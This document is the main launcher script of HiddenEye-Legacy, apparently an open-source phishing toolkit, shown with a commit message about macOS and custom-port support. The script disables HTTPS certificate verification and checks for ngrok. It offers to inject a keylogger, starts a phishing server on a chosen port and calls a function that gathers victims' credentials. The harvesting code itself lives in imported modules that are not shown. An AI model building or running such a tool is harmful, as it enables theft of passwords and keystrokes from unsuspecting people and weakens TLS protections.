HiddenEye-Legacy/HiddenEye.py
DeadPackets 1b7f989975 Added macOS support, the ability to choose a custom port, and fixed some spelling mistakes (#368)
* Custom Port support

* Add macOS support, Add custom port picking, Fix one spelling mistake

* Error handling for invalid port values
2019-07-30 16:24:16 +05:00

49 lines
1.1 KiB
Python

#!/usr/bin/python3
#
#HiddenEye by Open Source Community
#
import multiprocessing
import gettext
from os import system,environ
import sys
import ssl
if(not environ.get('PYTHONHTTPSVERIFY',"") and getattr(ssl,'_create_unverified_context',None)):
ssl._create_default_https_context=ssl._create_unverified_context
from Defs.Checks import *
from Defs.Configurations import *
from Defs.Actions import *
from Defs.Languages import *
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
checkPermissions()
installGetText()
languageSelector()
checkConnection()
checkNgrok()
ifSettingsNotExists()
readConfig()
if __name__ == "__main__":
try:
runMainMenu()
mainMenu()
keyloggerprompt()
addingkeylogger()
inputCustom()
port = selectPort()
##############
runServer(port)
selectServer(port)
multiprocessing.Process(target=runServer, args=(port,)).start()
getCredentials(port)
except KeyboardInterrupt:
endMessage()
exit(0)